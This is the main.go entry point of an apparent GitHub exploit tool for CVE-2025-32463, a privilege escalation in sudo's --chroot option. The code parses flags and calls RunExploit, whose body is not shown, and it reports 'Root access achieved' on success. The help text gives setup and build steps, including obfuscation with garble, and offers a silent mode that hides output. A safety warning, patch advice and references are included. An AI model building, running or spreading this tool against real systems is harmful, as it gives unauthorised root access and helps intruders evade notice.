CVE-2025-32463/main.go at main · 1xPwn/CVE-2025-32463 · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package main

import (
	"flag"
	"fmt"
	"os"

	"cve-2025-32463/src"
)

const logo = `
  ______   ______    ___  ___  ___  ____     ____ ___ ____ ____ ____
 / ___/ | / / __/___|_  |/ _ \|_  |/ __/____|_  /|_  / / // __/|_  /
/ /__ | |/ / _//___/ __// // / __//__ \/___//_ </ __/_  _/ _ \_/_ <
\___/ |___/___/   /____/\___/____/____/   /____/____//_/ \___/____/
`

func main() {
	help := flag.Bool("help", false, "Show detailed usage instructions")
	silent := flag.Bool("silent", false, "Run silently without logo or process output (requires --execution)")
	about := flag.Bool("about", false, "Show details about CVE-2025-32463")
	execution := flag.Bool("execution", false, "Execute the CVE-2025-32463 exploit")
	flag.Parse()

	if flag.NFlag() == 0 {
		fmt.Println("Please use the --help flag for usage instructions.")
		return
	}

	if *help {
		fmt.Println(getHelpMessage())
		return
	}

	if *about {
		fmt.Println(src.AboutCVE())
		return
	}

	if !*execution {
		fmt.Println("Error: --execution flag is required to run the exploit.")
		flag.Usage()
		return
	}

	if *silent && !*execution {
		fmt.Println("Error: --silent can only be used with --execution.")
		os.Exit(1)
	}

	if !*silent {
		fmt.Println(logo)
	}

	if err := src.RunExploit(*silent); err != nil {
		if !*silent {
			fmt.Printf("Process: Exploit failed: %v\n", err)
		}
		os.Exit(1)
	}
	if !*silent {
		fmt.Println("Process: Exploit succeeded. Root access achieved.")
	}
}

func getHelpMessage() string {
	return `CVE-2025-32463 Exploit Tool
This program exploits a privilege escalation vulnerability (CVE-2025-32463) in sudo versions 1.9.14 to 1.9.17, allowing local users to gain root access via the --chroot (-R) option.

Usage:
  ./exploit [flags]

Flags:
  --help        Show this help message and exit
  --about       Show details about CVE-2025-32463
  --execution   Execute the exploit
  --silent      Run silently without logo or process output (requires --execution)

Requirements:
  - Go 1.18 or higher
  - gcc and libc-dev installed
  - sudo version between 1.9.14 and 1.9.17
  - User must have sudo permissions with --chroot (-R) allowed
  - No SELinux/AppArmor restrictions blocking shared library loading

Setup Instructions:
  1. Install dependencies:
     sudo apt update
     sudo apt install golang gcc libc-dev
  2. Create a non-privileged user with sudo access:
     sudo adduser --home /home/testuser --shell /bin/bash testuser
     sudo usermod -aG sudo testuser
  3. Clone the repository:
     git clone https://github.com/Nowafen/CVE-2025-32463.git
     cd CVE-2025-32463
  4. Build the program (basic):
     go build -o exploit
     Or with obfuscation:
     go install mvdan.cc/garble@latest
     garble -tiny -literals -seed=random build -o exploit
  5. Run the exploit (e.g., normal mode):
     ./exploit --execution
     Or silently:
     ./exploit --execution --silent

Safety Warning:
  - Run only in an isolated environment (e.g., virtual machine or Docker).
  - Take a VM snapshot before testing.
  - Update sudo to 1.9.17p1 or higher after testing:
    sudo apt install sudo
  - Disable --chroot if updating is not possible:
    echo "Defaults !use_chroot" | sudo tee -a /etc/sudoers

References:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
  - https://www.sudo.ws/security/advisories/chroot_bug/
  - https://github.com/kh4sh3i/CVE-2025-32463
`
}